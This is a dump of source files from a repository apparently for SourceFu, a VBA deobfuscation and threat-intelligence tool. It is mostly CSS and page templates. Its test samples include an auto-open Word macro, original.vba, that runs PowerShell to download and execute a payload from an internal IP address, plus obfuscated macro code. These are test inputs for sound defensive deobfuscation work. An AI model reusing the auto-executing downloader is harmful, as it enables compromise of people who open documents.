32 | box-sizing: border-box; 33 | overflow: hidden; 34 | border-left: 1px solid #ddd; 35 | border-right: 1px solid #ddd; 36 | position: relative; 37 | background: #f8f8f8; 38 | } 39 | 40 | .CodeMirror-merge-scrolllock-wrap { 41 | position: absolute; 42 | bottom: 0; left: 50%; 43 | } 44 | .CodeMirror-merge-scrolllock { 45 | position: relative; 46 | left: -50%; 47 | cursor: pointer; 48 | color: #555; 49 | line-height: 1; 50 | } 51 | 52 | .CodeMirror-merge-copybuttons-left, .CodeMirror-merge-copybuttons-right { 53 | position: absolute; 54 | left: 0; top: 0; 55 | right: 0; bottom: 0; 56 | line-height: 1; 57 | } 58 | 59 | .CodeMirror-merge-copy { 60 | position: absolute; 61 | cursor: pointer; 62 | color: #44c; 63 | } 64 | 65 | .CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy { left: 2px; } 66 | .CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy { right: 2px; } 67 | 68 | .CodeMirror-merge-r-inserted, .CodeMirror-merge-l-inserted { 69 | background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==); 70 | background-position: bottom left; 71 | background-repeat: repeat-x; 72 | } 73 | 74 | .CodeMirror-merge-r-deleted, .CodeMirror-merge-l-deleted { 75 | background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==); 76 | background-position: bottom left; 77 | background-repeat: repeat-x; 78 | } 79 | 80 | .CodeMirror-merge-r-chunk { background: #ffffe0; } 81 | .CodeMirror-merge-r-chunk-start { border-top: 1px solid #ee8; } 82 | .CodeMirror-merge-r-chunk-end { border-bottom: 1px solid #ee8; } 83 | .CodeMirror-merge-r-connect { fill: #ffffe0; stroke: #ee8; stroke-width: 1px; } 84 | 85 | .CodeMirror-merge-l-chunk { background: #eef; } 86 | .CodeMirror-merge-l-chunk-start { border-top: 1px solid #88e; } 87 | .CodeMirror-merge-l-chunk-end { border-bottom: 1px solid #88e; } 88 | .CodeMirror-merge-l-connect { fill: #eef; stroke: #88e; stroke-width: 1px; } 89 | 90 | .CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk { background: #dfd; } 91 | .CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start { border-top: 1px solid #4e4; } 92 | .CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end { border-bottom: 1px solid #4e4; } 93 | -------------------------------------------------------------------------------- /sourcefu/src/main/resources/public/js/merge.css: -------------------------------------------------------------------------------- 1 | .CodeMirror-merge { 2 | position: relative; 3 | border: 1px solid #ddd; 4 | white-space: pre; 5 | } 6 | 7 | .CodeMirror-merge, .CodeMirror-merge .CodeMirror { 8 | height: 350px; 9 | } 10 | 11 | .CodeMirror-merge-2pane .CodeMirror-merge-pane { width: 47%; } 12 | .CodeMirror-merge-2pane .CodeMirror-merge-gap { width: 6%; } 13 | .CodeMirror-merge-3pane .CodeMirror-merge-pane { width: 31%; } 14 | .CodeMirror-merge-3pane .CodeMirror-merge-gap { width: 3.5%; } 15 | 16 | .CodeMirror-merge-pane { 17 | display: inline-block; 18 | white-space: normal; 19 | vertical-align: top; 20 | } 21 | .CodeMirror-merge-pane-rightmost { 22 | position: absolute; 23 | right: 0px; 24 | z-index: 1; 25 | } 26 | 27 | .CodeMirror-merge-gap { 28 | z-index: 2; 29 | display: inline-block; 30 | height: 100%; 31 | -moz-box-sizing: border-box; 32 | box-sizing: border-box; 33 | overflow: hidden; 34 | border-left: 1px solid #ddd; 35 | border-right: 1px solid #ddd; 36 | position: relative; 37 | background: #f8f8f8; 38 | } 39 | 40 | .CodeMirror-merge-scrolllock-wrap { 41 | position: absolute; 42 | bottom: 0; left: 50%; 43 | } 44 | .CodeMirror-merge-scrolllock { 45 | position: relative; 46 | left: -50%; 47 | cursor: pointer; 48 | color: #555; 49 | line-height: 1; 50 | } 51 | 52 | .CodeMirror-merge-copybuttons-left, .CodeMirror-merge-copybuttons-right { 53 | position: absolute; 54 | left: 0; top: 0; 55 | right: 0; bottom: 0; 56 | line-height: 1; 57 | } 58 | 59 | .CodeMirror-merge-copy { 60 | position: absolute; 61 | cursor: pointer; 62 | color: #44c; 63 | } 64 | 65 | .CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy { left: 2px; } 66 | .CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy { right: 2px; } 67 | 68 | .CodeMirror-merge-r-inserted, .CodeMirror-merge-l-inserted { 69 | background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==); 70 | background-position: bottom left; 71 | background-repeat: repeat-x; 72 | } 73 | 74 | .CodeMirror-merge-r-deleted, .CodeMirror-merge-l-deleted { 75 | background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==); 76 | background-position: bottom left; 77 | background-repeat: repeat-x; 78 | } 79 | 80 | .CodeMirror-merge-r-chunk { background: #ffffe0; } 81 | .CodeMirror-merge-r-chunk-start { border-top: 1px solid #ee8; } 82 | .CodeMirror-merge-r-chunk-end { border-bottom: 1px solid #ee8; } 83 | .CodeMirror-merge-r-connect { fill: #ffffe0; stroke: #ee8; stroke-width: 1px; } 84 | 85 | .CodeMirror-merge-l-chunk { background: #eef; } 86 | .CodeMirror-merge-l-chunk-start { border-top: 1px solid #88e; } 87 | .CodeMirror-merge-l-chunk-end { border-bottom: 1px solid #88e; } 88 | .CodeMirror-merge-l-connect { fill: #eef; stroke: #88e; stroke-width: 1px; } 89 | 90 | .CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk { background: #dfd; } 91 | .CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start { border-top: 1px solid #4e4; } 92 | .CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end { border-bottom: 1px solid #4e4; } 93 | -------------------------------------------------------------------------------- /sourcefu/src/main/resources/public/material.css: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Name: material 4 | Author: Michael Kaminsky (http://github.com/mkaminsky11) 5 | 6 | Original material color scheme by Mattia Astorino (https://github.com/equinusocio/material-theme) 7 | 8 | */ 9 | 10 | .cm-s-material.CodeMirror { 11 | background-color: #263238; 12 | color: rgba(233, 237, 237, 1); 13 | } 14 | .cm-s-material .CodeMirror-gutters { 15 | background: #263238; 16 | color: rgb(83,127,126); 17 | border: none; 18 | } 19 | .cm-s-material .CodeMirror-guttermarker, .cm-s-material .CodeMirror-guttermarker-subtle, .cm-s-material .CodeMirror-linenumber { color: rgb(83,127,126); } 20 | .cm-s-material .CodeMirror-cursor { border-left: 1px solid #f8f8f0; } 21 | .cm-s-material div.CodeMirror-selected { background: rgba(255, 255, 255, 0.15); } 22 | .cm-s-material.CodeMirror-focused div.CodeMirror-selected { background: rgba(255, 255, 255, 0.10); } 23 | .cm-s-material .CodeMirror-line::selection, .cm-s-material .CodeMirror-line > span::selection, .cm-s-material .CodeMirror-line > span > span::selection { background: rgba(255, 255, 255, 0.10); } 24 | .cm-s-material .CodeMirror-line::-moz-selection, .cm-s-material .CodeMirror-line > span::-moz-selection, .cm-s-material .CodeMirror-line > span > span::-moz-selection { background: rgba(255, 255, 255, 0.10); } 25 | 26 | .cm-s-material .CodeMirror-activeline-background { background: rgba(0, 0, 0, 0); } 27 | .cm-s-material .cm-keyword { color: rgba(199, 146, 234, 1); } 28 | .cm-s-material .cm-operator { color: rgba(233, 237, 237, 1); } 29 | .cm-s-material .cm-variable-2 { color: #80CBC4; } 30 | .cm-s-material .cm-variable-3, .cm-s-material .cm-type { color: #82B1FF; } 31 | .cm-s-material .cm-builtin { color: #DECB6B; } 32 | .cm-s-material .cm-atom { color: #F77669; } 33 | .cm-s-material .cm-number { color: #F77669; } 34 | .cm-s-material .cm-def { color: rgba(233, 237, 237, 1); } 35 | .cm-s-material .cm-string { color: #C3E88D; } 36 | .cm-s-material .cm-string-2 { color: #80CBC4; } 37 | .cm-s-material .cm-comment { color: #546E7A; } 38 | .cm-s-material .cm-variable { color: #82B1FF; } 39 | .cm-s-material .cm-tag { color: #80CBC4; } 40 | .cm-s-material .cm-meta { color: #80CBC4; } 41 | .cm-s-material .cm-attribute { color: #FFCB6B; } 42 | .cm-s-material .cm-property { color: #80CBAE; } 43 | .cm-s-material .cm-qualifier { color: #DECB6B; } 44 | .cm-s-material .cm-variable-3, .cm-s-material .cm-type { color: #DECB6B; } 45 | .cm-s-material .cm-tag { color: rgba(255, 83, 112, 1); } 46 | .cm-s-material .cm-error { 47 | color: rgba(255, 255, 255, 1.0); 48 | background-color: #EC5F67; 49 | } 50 | .cm-s-material .CodeMirror-matchingbracket { 51 | text-decoration: underline; 52 | color: white !important; 53 | } 54 | -------------------------------------------------------------------------------- /sourcefu/src/main/resources/public/test_css.css: -------------------------------------------------------------------------------- 1 | /*body { 2 | font-size: .875rem; 3 | }*/ 4 | 5 | .feather { 6 | width: 16px; 7 | height: 16px; 8 | } 9 | 10 | 11 | /* 12 | * Content 13 | */ 14 | /* 15 | [role="main"] { 16 | /*padding-top: 133px; /* Space for fixed navbar * 17 | } 18 | 19 | @media (min-width: 768px) { 20 | [role="main"] { 21 | /*padding-top: 48px; /* Space for fixed navbar * 22 | } 23 | } 24 | 25 | /* 26 | * Navbar 27 | */ 28 | 29 | 30 | .navbar-brand { 31 | padding-top: .75rem; 32 | padding-bottom: .75rem; 33 | font-size: 1.4rem; 34 | /*box-shadow: inset -1px 0 0 rgba(0, 0, 0, .25);*/ 35 | } 36 | 37 | .navbar .form-control { 38 | padding: .75rem 1rem; 39 | border-width: 0; 40 | border-radius: 0; 41 | } 42 | 43 | .form-control-dark { 44 | color: #fff; 45 | background-color: rgba(255, 255, 255, .1); 46 | border-color: rgba(255, 255, 255, .1); 47 | } 48 | 49 | .form-control-dark:focus { 50 | border-color: transparent; 51 | box-shadow: 0 0 0 3px rgba(255, 255, 255, .25); 52 | } 53 | 54 | -------------------------------------------------------------------------------- /sourcefu/src/main/resources/templates/editanalysis.vm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | SourceFu edit analysis 10 | 11 | 27 | 28 | 29 | 30 | 31 | #parse("/templates/header.vm") 32 |
33 |
34 |

Modifying an analysis

35 |
36 |
37 | 38 |
39 | 40 |
41 |
42 | 43 |
44 |
45 |
46 | 47 | 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /sourcefu/src/main/resources/templates/header.vm: -------------------------------------------------------------------------------- 1 | #* 2 | * SourceFu : header.vm 3 | * Licensed under MPL (https://github.com/Big5-sec/SourceFu/blob/master/LICENSE) 4 | * 5 | * 6 | * navbar for HTML pages 7 | * 8 | * contains basically 2 menu : threat intelligence for IOC and such, and deobfuscation to work on that * 9 | *# 10 | 11 | -------------------------------------------------------------------------------- /sourcefu/src/main/resources/templates/hehe_fichiers/merge.css: -------------------------------------------------------------------------------- 1 | .CodeMirror-merge { 2 | position: relative; 3 | border: 1px solid #ddd; 4 | white-space: pre; 5 | } 6 | 7 | .CodeMirror-merge, .CodeMirror-merge .CodeMirror { 8 | height: 350px; 9 | } 10 | 11 | .CodeMirror-merge-2pane .CodeMirror-merge-pane { width: 47%; } 12 | .CodeMirror-merge-2pane .CodeMirror-merge-gap { width: 6%; } 13 | .CodeMirror-merge-3pane .CodeMirror-merge-pane { width: 31%; } 14 | .CodeMirror-merge-3pane .CodeMirror-merge-gap { width: 3.5%; } 15 | 16 | .CodeMirror-merge-pane { 17 | display: inline-block; 18 | white-space: normal; 19 | vertical-align: top; 20 | } 21 | .CodeMirror-merge-pane-rightmost { 22 | position: absolute; 23 | right: 0px; 24 | z-index: 1; 25 | } 26 | 27 | .CodeMirror-merge-gap { 28 | z-index: 2; 29 | display: inline-block; 30 | height: 100%; 31 | -moz-box-sizing: border-box; 32 | box-sizing: border-box; 33 | overflow: hidden; 34 | border-left: 1px solid #ddd; 35 | border-right: 1px solid #ddd; 36 | position: relative; 37 | background: #f8f8f8; 38 | } 39 | 40 | .CodeMirror-merge-scrolllock-wrap { 41 | position: absolute; 42 | bottom: 0; left: 50%; 43 | } 44 | .CodeMirror-merge-scrolllock { 45 | position: relative; 46 | left: -50%; 47 | cursor: pointer; 48 | color: #555; 49 | line-height: 1; 50 | } 51 | 52 | .CodeMirror-merge-copybuttons-left, .CodeMirror-merge-copybuttons-right { 53 | position: absolute; 54 | left: 0; top: 0; 55 | right: 0; bottom: 0; 56 | line-height: 1; 57 | } 58 | 59 | .CodeMirror-merge-copy { 60 | position: absolute; 61 | cursor: pointer; 62 | color: #44c; 63 | } 64 | 65 | .CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy { left: 2px; } 66 | .CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy { right: 2px; } 67 | 68 | .CodeMirror-merge-r-inserted, .CodeMirror-merge-l-inserted { 69 | background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==); 70 | background-position: bottom left; 71 | background-repeat: repeat-x; 72 | } 73 | 74 | .CodeMirror-merge-r-deleted, .CodeMirror-merge-l-deleted { 75 | background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==); 76 | background-position: bottom left; 77 | background-repeat: repeat-x; 78 | } 79 | 80 | .CodeMirror-merge-r-chunk { background: #ffffe0; } 81 | .CodeMirror-merge-r-chunk-start { border-top: 1px solid #ee8; } 82 | .CodeMirror-merge-r-chunk-end { border-bottom: 1px solid #ee8; } 83 | .CodeMirror-merge-r-connect { fill: #ffffe0; stroke: #ee8; stroke-width: 1px; } 84 | 85 | .CodeMirror-merge-l-chunk { background: #eef; } 86 | .CodeMirror-merge-l-chunk-start { border-top: 1px solid #88e; } 87 | .CodeMirror-merge-l-chunk-end { border-bottom: 1px solid #88e; } 88 | .CodeMirror-merge-l-connect { fill: #eef; stroke: #88e; stroke-width: 1px; } 89 | 90 | .CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk { background: #dfd; } 91 | .CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start { border-top: 1px solid #4e4; } 92 | .CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end { border-bottom: 1px solid #4e4; } 93 | -------------------------------------------------------------------------------- /sourcefu/src/main/resources/templates/home.vm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | SourceFu 11 | 12 | 13 | #parse("/templates/header.vm") 14 |
15 |
16 |
17 |

Analyses

18 |
19 |
20 | New Analysis 21 |
22 |
23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | #set ( $count = 0) 38 | #foreach( $analysis in $analyses) 39 | 40 | 41 | 42 | 43 | 51 | 52 | 53 | 54 | 55 | #set ( $count = $count + 1 ) 56 | #end 57 | 58 |
#NameFilenameCurrent Step
$count$analysis.name$analysis.filename 44 | 45 | 46 | 47 | 48 | 49 | original 50 |
59 |
60 | 75 | 76 |
77 | 78 | 79 | 80 | 81 | 82 | 97 | 98 | 99 | -------------------------------------------------------------------------------- /tests/README.md: -------------------------------------------------------------------------------- 1 | # TESTS 2 | 3 | this directory contains tests material used for SourceFu. Actually, it's only pure sources to treat with SourceFu, as well as the expected output. Unfortunately, deobfuscating by hand to check SourceFu output is quite long, so do not expect too many of them. 4 | 5 | ## TEST CASES 6 | 7 | ### VBA 8 | 9 | #### standard tests 10 | 11 | #### malwares 12 | 13 | - 9792c0cd069e84edc8b01cf3f82fd214.doc 14 | URL : https://www.hybrid-analysis.com/sample/575f52a3e385353d06714a2175de61fede7610e1d65bd8cb7a4445f3d6c6d63b?environmentId=100 15 | 16 | 17 | #### obfuscators -------------------------------------------------------------------------------- /tests/VBA/obfuscators/JO-Obfuscator/code.vba: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/tests/VBA/obfuscators/JO-Obfuscator/code.vba -------------------------------------------------------------------------------- /tests/VBA/obfuscators/JO-Obfuscator/expected.vba: -------------------------------------------------------------------------------- 1 | Sub AutoOpen() 2 | Dim local_0 As Integer 3 | local_0 = MsgBox("JO-OBfuscator\r\n\r\nCeci est une démonstration de JO-OBfuscator.\r\n\r\nTéléchargez la version originale sur www.joseouin.fr\r\n\r\nAuteur : José OUIN - Site Internet : www.joseouin.fr", 64, "JO-OBfuscator : Vidéo de démonstration") 4 | End Sub -------------------------------------------------------------------------------- /tests/VBA/obfuscators/JO-Obfuscator/sourcefu_example.docm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/tests/VBA/obfuscators/JO-Obfuscator/sourcefu_example.docm -------------------------------------------------------------------------------- /tests/VBA/obfuscators/bonnetn-vba-obfuscator/notes.txt: -------------------------------------------------------------------------------- 1 | [INFO] VBA obfuscator - Thomas LEROY & Nicolas BONNET 2 | [INFO] Loaded the code. 3 | [INFO] Paste this in your VBA editor to add the Document Variable: 4 | ActiveDocument.Variables.Add Name:="JHrRaXxSNavEXsPS", Value:="F5dnHfb7aejgC1yt4cfaTHJFY6gHzmfJYplkc6ncsOB5oOFWyHatKj64Q8mcieKny8xqcnv1e+T8GZCUBb2iOO3i3/JcSpqhEskSvu1adtzFVmhq8aX7pZAOnM3YnJ6/" 5 | [INFO] Line 'huCcEuisokw = KLsswoxYZW(Array[...]' is too long. 6 | [INFO] Obfuscated the code. 7 | -------------------------------------------------------------------------------- /tests/VBA/obfuscators/bonnetn-vba-obfuscator/original.vba: -------------------------------------------------------------------------------- 1 | Sub Auto_Open() 2 | Dim exec As String 3 | Dim testvar As String 4 | exec = "powershell.exe ""IEX ((new-object net.webclient).downloadstring('http://10.0.0.13/payload.txt'))""" 5 | Shell (exec) 6 | End Sub 7 | Sub AutoOpen() 8 | Auto_Open 9 | End Sub 10 | Sub Workbook_Open() 11 | Auto_Open 12 | End Sub 13 | -------------------------------------------------------------------------------- /tests/VBA/obfuscators/isvbscriptdeaddotcom/example1.vba: -------------------------------------------------------------------------------- 1 | Sub AutoOpen() 2 | s = Array("Is", "VBScript", "Dead") 3 | MsgBox Join(s) 4 | End Sub 5 | -------------------------------------------------------------------------------- /tests/VBA/obfuscators/isvbscriptdeaddotcom/example1_obfuscated.vba: -------------------------------------------------------------------------------- 1 | Sub AutoOpen() 2 | Execute(chr(931385/CLng("&H1fa3"))&chr(-80396+CLng("&H13a2c"))&chr(309880/CLng("&H13d8"))&chr(559168/CLng("&H4442"))&chr(CLng("&Hd207")-53702)&chr(7553640/CLng("&H102d4"))&chr(CLng("&H3e22")-15792)&chr(-28885+CLng("&H7136"))&chr(-45933+CLng("&Hb3e6"))&chr(-82986+CLng("&H14452"))&chr(CLng("&H808b")-32873)&chr(-15897+CLng("&H3e62"))&chr(CLng("&H183cd")-99162)&chr(-68222+CLng("&H10aa0"))&chr(CLng("&Hf0d5")-61609)&chr(CLng("&Hd52e")-54542)&chr(658410/CLng("&H4ba5"))&chr(-74461+CLng("&H12333"))&chr(1049664/CLng("&H3e20"))&chr(4104350/CLng("&Hc12a"))&chr(663201/CLng("&H1a2b"))&chr(4078236/CLng("&H8bbe"))&chr(-42176+CLng("&Ha529"))&chr(-18422+CLng("&H4866"))&chr(7336188/CLng("&Hf70b"))&chr(CLng("&Hee00")-60894)&chr(CLng("&H480e")-18402)&chr(1512064/CLng("&Hb894"))&chr(CLng("&He556")-58676)&chr(-76152+CLng("&H129bc"))&chr(-49632+CLng("&Hc245"))&chr(8074183/CLng("&H14527"))&chr(-69393+CLng("&H10f75"))&chr(CLng("&H9a41")-39455)&chr(CLng("&H17692")-95849)&chr(-81132+CLng("&H13cf6"))&chr(3419570/CLng("&Had7a"))&chr(CLng("&Hfbc2")-64335)&chr(-84028+CLng("&H148a3"))&chr(-77337+CLng("&H12e5b"))&chr(8606052/CLng("&H12edc"))&chr(CLng("&H136f9")-79489)&chr(-53972+CLng("&Hd2f4"))&chr(3303138/CLng("&Hae5d"))&chr(-21104+CLng("&H52df"))&chr(CLng("&Haca0")-44087)&chr(CLng("&H8346")-33496)&chr(-33914+CLng("&H84a2"))&chr(10124255/CLng("&H157e5"))&chr(-75635+CLng("&H1279c"))&vbcrlf) 3 | End Sub --------------------------------------------------------------------------------